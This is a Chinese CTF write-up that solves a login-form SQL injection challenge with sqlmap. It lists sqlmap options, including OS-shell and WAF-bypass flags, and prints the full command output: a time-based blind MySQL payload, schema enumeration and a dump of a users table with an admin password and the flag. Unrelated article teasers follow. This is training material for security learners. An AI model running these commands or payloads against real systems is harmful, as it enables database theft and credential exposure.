题解

根据题目提示,应为SQL注入,题目页面只有一个表单,用sqlmap进行表单注入。

使用--forms参数进行自动化表单注入,逐步得到flag。

### 总结参数作用:
-u        指定目标URL。
-C        指定列名(多个列用逗号分隔)。
-D        指定数据库名。
-T        指定表名。
-r        从文件加载请求,保留请求细节,自动识别注入点。
--columns       枚举指定表中的列。
--tables        枚举指定数据库中的表。
--dump          导出数据。
--dbs	        枚举所有数据库	sqlmap -u URL --dbs
--level	        测试深度(1-5)	--level 3(检测Cookie注入)
--risk	        风险等级(1-3)	--risk 3(使用危险语句)
--proxy	        使用代理	--proxy="http://127.0.0.1:8080"
--tamper	    绕过WAF	--tamper=space2comment
--forms         自动处理表单,用于自动发现表单并注入。
--batch         无需用户交互,自动选择默认选项。
--current-db    获取当前数据库名。
--dump-all	    导出所有数据	sqlmap -u URL --dump-all
--os-shell	    获取系统shell	sqlmap -u URL --os-shell
sqlmap -u "http://challenge.qsnctf.com:30316/" --forms --batch --current-db
sqlmap -u "http://challenge.qsnctf.com:30316/" --forms --batch -D qsnctf --tables
sqlmap -u "http://challenge.qsnctf.com:30316/" --forms --batch -D qsnctf -T users --columns
sqlmap -u "http://challenge.qsnctf.com:30316/" --forms --batch -D qsnctf -T users -C id,password,username --dump
┌──(root💀kali)-[/home/kali/Desktop]
└─# sqlmap -u "http://challenge.qsnctf.com:30316/" --forms --batch --current-db_____H__                                                          ___ ___[(]_____ ___ ___  {1.9.2#stable}                              
|_ -| . [)]     | .'| . |                                             
|___|_  [']_|_|_|__,|  _|                                             |_|V...       |_|   https://sqlmap.org                          [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 05:18:50 /2025-07-01/[05:18:50] [INFO] testing connection to the target URL
[05:18:50] [INFO] searching for forms
[1/1] Form:
POST http://challenge.qsnctf.com:30316/login.php
POST data: uname=&psw=
do you want to test this form? [Y/n/q] 
> Y
Edit POST data [default: uname=&psw=] (Warning: blank fields detected): uname=&psw=
do you want to fill blank fields with random values? [Y/n] Y
[05:18:51] [INFO] resuming back-end DBMS 'mysql' 
[05:18:51] [INFO] using '/root/.local/share/sqlmap/output/results-07012025_0518am.csv' as the CSV results file in multiple targets mode     
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uname (POST)Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: uname=1' AND (SELECT 8158 FROM (SELECT(SLEEP(5)))OZHS) AND 'yCGe'='yCGe&psw=1
---
do you want to exploit this SQL injection? [Y/n] Y
[05:18:51] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.14.2, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[05:18:51] [INFO] fetching current database
[05:18:51] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[05:18:59] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
[05:19:10] [INFO] adjusting time delay to 1 second due to good response times
qsnctf
current database: 'qsnctf'
┌──(root💀kali)-[/home/kali/Desktop]
└─# sqlmap -u "http://challenge.qsnctf.com:30316/" --forms --batch -D qsnctf --tables_____H__                                                          ___ ___[,]_____ ___ ___  {1.9.2#stable}                              
|_ -| . ["]     | .'| . |                                             
|___|_  [,]_|_|_|__,|  _|                                             |_|V...       |_|   https://sqlmap.org                          [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 05:27:27 /2025-07-01/[05:27:27] [INFO] testing connection to the target URL
[05:27:27] [INFO] searching for forms
[1/1] Form:
POST http://challenge.qsnctf.com:30316/login.php
POST data: uname=&psw=
do you want to test this form? [Y/n/q] 
> Y
Edit POST data [default: uname=&psw=] (Warning: blank fields detected): uname=&psw=
do you want to fill blank fields with random values? [Y/n] Y
[05:27:28] [INFO] resuming back-end DBMS 'mysql' 
[05:27:28] [INFO] using '/root/.local/share/sqlmap/output/results-07012025_0527am.csv' as the CSV results file in multiple targets mode     
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uname (POST)Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: uname=1' AND (SELECT 8158 FROM (SELECT(SLEEP(5)))OZHS) AND 'yCGe'='yCGe&psw=1
---
do you want to exploit this SQL injection? [Y/n] Y
[05:27:28] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.6.40, Nginx 1.14.2
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[05:27:28] [INFO] fetching tables for database: 'qsnctf'
[05:27:28] [INFO] fetching number of tables for database 'qsnctf'
[05:27:28] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[05:27:31] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
1
[05:27:37] [INFO] retrieved: 
[05:27:47] [INFO] adjusting time delay to 1 second due to good response times
users
Database: qsnctf
[1 table]
+-------+
| users |
+-------+
┌──(root💀kali)-[/home/kali/Desktop]
└─# sqlmap -u "http://challenge.qsnctf.com:30316/" --forms --batch -D qsnctf -T users --columns_____H__                                                          ___ ___["]_____ ___ ___  {1.9.2#stable}                              
|_ -| . ["]     | .'| . |                                             
|___|_  [.]_|_|_|__,|  _|                                             |_|V...       |_|   https://sqlmap.org                          [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 05:29:34 /2025-07-01/[05:29:34] [INFO] testing connection to the target URL
[05:29:34] [INFO] searching for forms
[1/1] Form:
POST http://challenge.qsnctf.com:30316/login.php
POST data: uname=&psw=
do you want to test this form? [Y/n/q] 
> Y
Edit POST data [default: uname=&psw=] (Warning: blank fields detected): uname=&psw=
do you want to fill blank fields with random values? [Y/n] Y
[05:29:34] [INFO] resuming back-end DBMS 'mysql' 
[05:29:34] [INFO] using '/root/.local/share/sqlmap/output/results-07012025_0529am.csv' as the CSV results file in multiple targets mode     
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uname (POST)Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: uname=1' AND (SELECT 8158 FROM (SELECT(SLEEP(5)))OZHS) AND 'yCGe'='yCGe&psw=1
---
do you want to exploit this SQL injection? [Y/n] Y
[05:29:35] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.14.2, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[05:29:35] [INFO] fetching columns for table 'users' in database 'qsnctf'                                                                   
[05:29:35] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[05:29:38] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[05:29:53] [INFO] adjusting time delay to 1 second due to good response times
3
[05:29:53] [INFO] retrieved: id
[05:30:01] [INFO] retrieved: int(11)
[05:30:32] [INFO] retrieved: username
[05:31:01] [INFO] retrieved: text
[05:31:20] [INFO] retrieved: password
[05:31:53] [INFO] retrieved: text
Database: qsnctf
Table: users
[3 columns]
+----------+---------+
| Column   | Type    |
+----------+---------+
| id       | int(11) |
| password | text    |
| username | text    |
+----------+---------+
┌──(root💀kali)-[/home/kali/Desktop]
└─# sqlmap -u "http://challenge.qsnctf.com:30316/" --forms --batch -D qsnctf -T users -C id,password,username --dump_____H__                                                          ___ ___[.]_____ ___ ___  {1.9.2#stable}                              
|_ -| . [)]     | .'| . |                                             
|___|_  ["]_|_|_|__,|  _|                                             |_|V...       |_|   https://sqlmap.org                          [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 05:33:55 /2025-07-01/[05:33:55] [INFO] testing connection to the target URL
[05:33:55] [INFO] searching for forms
[1/1] Form:
POST http://challenge.qsnctf.com:30316/login.php
POST data: uname=&psw=
do you want to test this form? [Y/n/q] 
> Y
Edit POST data [default: uname=&psw=] (Warning: blank fields detected): uname=&psw=
do you want to fill blank fields with random values? [Y/n] Y
[05:33:56] [INFO] resuming back-end DBMS 'mysql' 
[05:33:56] [INFO] using '/root/.local/share/sqlmap/output/results-07012025_0533am.csv' as the CSV results file in multiple targets mode     
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uname (POST)Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: uname=1' AND (SELECT 8158 FROM (SELECT(SLEEP(5)))OZHS) AND 'yCGe'='yCGe&psw=1
---
do you want to exploit this SQL injection? [Y/n] Y
[05:33:56] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.14.2, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[05:33:56] [INFO] fetching entries of column(s) 'id,password,username' for table 'users' in database 'qsnctf'
[05:33:56] [INFO] fetching number of column(s) 'id,password,username' entries for table 'users' in database 'qsnctf'
[05:33:56] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[05:33:59] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
2
[05:34:10] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
[05:34:18] [INFO] adjusting time delay to 1 second due to good response times
1
[05:34:20] [INFO] retrieved: 123456
[05:34:41] [INFO] retrieved: admin
[05:34:59] [INFO] retrieved: 2
[05:35:03] [INFO] retrieved: flag{ca74d097080346969f41c257318a7411}
[05:37:45] [INFO] retrieved: user
Database: qsnctf
Table: users
[2 entries]
+----+----------------------------------------+----------+
| id | password                               | username |
+----+----------------------------------------+----------+
| 1  | 123456                                 | admin    |
| 2  | flag{ca74d097080346969f41c257318a7411} | user     |
+----+----------------------------------------+----------+

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/87479.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/87479.shtml
英文地址,请注明出处:http://en.pswp.cn/bicheng/87479.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SciPy 安装使用教程

一、SciPy 简介 SciPy(Scientific Python)是基于 NumPy 的开源科学计算库,提供了数值积分、优化、信号处理、线性代数、统计分析等高级科学计算功能。它是构建 Python 科学计算生态系统的核心组件之一,常用于科研、工程、数据分析…

【AI大模型】通义大模型与现有企业系统集成实战《CRM案例分析与安全最佳实践》

简介: 本文档详细介绍了基于通义大模型的CRM系统集成架构设计与优化实践。涵盖混合部署架构演进(新增向量缓存、双通道同步)、性能基准测试对比、客户意图分析模块、商机预测系统等核心功能实现。同时,深入探讨了安全防护体系、三…

如何进行需求全周期管理

实现高效的需求全周期管理,应从以下五个方面入手:1、建立系统化需求来源渠道、2、设置清晰的评审与优先级策略、3、加强执行过程的协同与跟踪、4、闭环需求验收与上线反馈、5、构建长期的需求知识沉淀机制。 其中,“加强执行过程的协同与跟踪…

热传导方程能量分析与边界条件研究

题目 问题 10. (a) 考虑热传导方程在 J = ( − ∞ , ∞ ) J = (-\infty, \infty) J=(−∞,∞) 上,证明“能量” E ( t ) = ∫ J u 2 ( x , t ) d x E(t) = \int_{J} u^{2}(x,t) dx E(t)=∫J​u2(x,t)dx (8) 不增加;进一步证明,除非 u ( x , t ) = 常数 u(x,t) = \text{常…

【AI News | 20250702】每日AI进展

AI Repos 1、LLM-RL-Visualized 提供100余张原创架构图,全面涵盖了 LLM (大语言模型)、VLM (视觉语言模型) 等大模型技术。内容深度解析了训练算法(如 RL、RLHF、GRPO、DPO、SFT、CoT 蒸馏等)、效果优化策略(如 RAG、CoT&#xf…

安徽省企业如何做信创产品认证?信创认证流程与费用详解

安徽省作为长三角一体化发展的重要成员,正大力推进信息技术应用创新(信创)产业发展。依托合肥“中国声谷”、芜湖机器人及智能装备基地等产业集群,以及省内对信创产业的政策扶持,企业通过信创认证后,能更好…

百度文心 ERNIE 4.5 开源:开启中国多模态大模型开源新时代

百度文心 ERNIE 4.5 开源:开启中国多模态大模型开源新时代 随着DeepSeek-R1的横空出示,越来越多大公司开始开源模型,像DeepSeek R1发布的时候Kimi同步开源了技术文档,随着R1推动着思维链推理技术的发展,开源社区也出现…

22、企业项目管理(Project)全体系构建:从基础框架到智能防呆的完整解决方案

项目管理能力——企业VUCA战略落地的核心枢纽 在VUCA(乌卡时代,即VUCA时代,是指人们生活在一个不稳定性、不确定性、复杂性、模糊性的时代、境况或者世界中。vuca是volatility(易变性VUCA),uncertainty&am…

分布式定时任务:Elastic-Job-Lite

Elastic-Job-Lite 是一款由 Apache 开源的轻量级分布式任务调度框架,属于 ShardingSphere 生态体系的一部分。它专注于分布式任务调度,支持弹性伸缩、分片处理、高可用等特性,且不依赖中心化架构。 一、基础 (一)核心特…

记录一次生产环境ActiveMQ无法启动的问题

这次遇到一个问题,是ActiveMQ无法启动的,跟以往的现象不一样。这次是在服务器重启后出异常。 1、启动ActiveMQ时提示:activemq/data/kahadb/db.data(输入输出错误),NotFoundFileException异常 2、想着不应该…

大型语言模型幻觉检测相关综述

背景 1.1 幻觉检测的定义与范围 大型语言模型(LLMs)中的幻觉检测 是指系统性地识别由LLMs生成的事实错误或无意义输出的任务,而无需依赖外部证据 [Li et al., 2024; Zhang et al., 2024]。这项任务对于确保LLM生成内容的可靠性和可信度至关…

Python爬虫与数据可视化教程

对于经常写爬虫的技术来说了,可视化大大的提高工作效率,可以让获取的数据更直观的展示在面前,下面我将通过具体实操给大家展示下多种可视化具体教程,希望能都帮助大家。 下面是一个完整的Python爬虫和数据可视化解决方案&#xff…

【GHS】Green Hills软件MULTI-IDE的安装教程

前言:MULTI-IDE作为一款Green Hills开发的支持C/C、Ada等语言的嵌入式开发环境,由于其优异的性能,所以在汽车电子软件的开发中占有重要地位。但是这款IDE需要付费使用,对于个人学习而言不太友好,所以这里介绍一款PJ版本…

Web攻防-文件上传黑白名单MIMEJS前端执行权限编码解析OSS存储分域名应用场景

知识点: 1、WEB攻防-文件上传-前端&黑白名单&MIME&文件头等 2、WEB攻防-文件上传-执行权限&解码还原&云存储&分站等 3、WEB攻防-文件上传-JS提取&特定漏洞&第三方编辑器 4、WEB攻防-文件上传-思维导图形成 常规文件上传&#xff1a…

Odoo系统大型业务优化实战

目录 背景说明ORM与模型优化数据量处理策略接口与报表优化系统架构优化监控与诊断工具项目实战总结(案例)后续优化建议性能优化检查清单总结 一、背景说明 在 Odoo 项目中,随着业务不断扩展,系统常常面临如下挑战: …

【2.4 漫画SpringBoot实战】

🚀 漫画SpringBoot实战 🎯 学习目标:掌握SpringBoot企业级开发,从零到一构建现代化Java应用 📋 目录 SpringBoot核心特性自动配置原理Web开发实战数据访问与事务监控与部署🎭 漫画引言 小明: “为什么SpringBoot这么受欢迎?” 架构师老王: “SpringBoot就像全自动…

美国站群服务器的优势和应用与选择指南

在当今数字化时代,互联网业务的蓬勃发展促使各类企业和个人不断寻求高效、稳定且功能强大的网络解决方案。美国站群服务器作为一种备受瞩目的网络基础设施,正逐渐成为众多从事跨境电商、搜索引擎优化(SEO)、内容分发、数据采集等业…

智能合约基础:Solidity语法速成

目录 智能合约基础:Solidity语法速成引言:区块链的可编程世界1. Solidity基础语法1.1 合约结构1.2 数据类型2. 核心概念详解2.1 可见性修饰符2.2 状态可变性2.3 错误处理2.4 事件与日志3. 高级特性3.1 继承与接口3.2 修饰器3.3 委托调用与代理合约4. 完整DeFi质押合约实现5. …

SmartDV推出先进的H.264和H.265视频编码器和解码器IP

向全球市场提供灵活、高度可配置、可定制的半导体设计知识产权(IP)和验证IP(VIP)的开发商SmartDV™ Technologies近日宣布:公司现已提供即刻可用的H.264和H.265视频编码器和解码器IP解决方案。针对每一种技术&#xff…

数据结构学习day8---strstr+symlink+remove+rename+link+truncate

一、strstr 1.头文件 #include <string.h> 2.函数原型 char *strstr(const char *haystack, const char *needle);3.功能 在一个字符串haystack中查找另一个字符串needle的第一次出现&#xff0c;并返回该位置的指针&#xff0c;如果找不到&#xff0c;则返回NULL。 …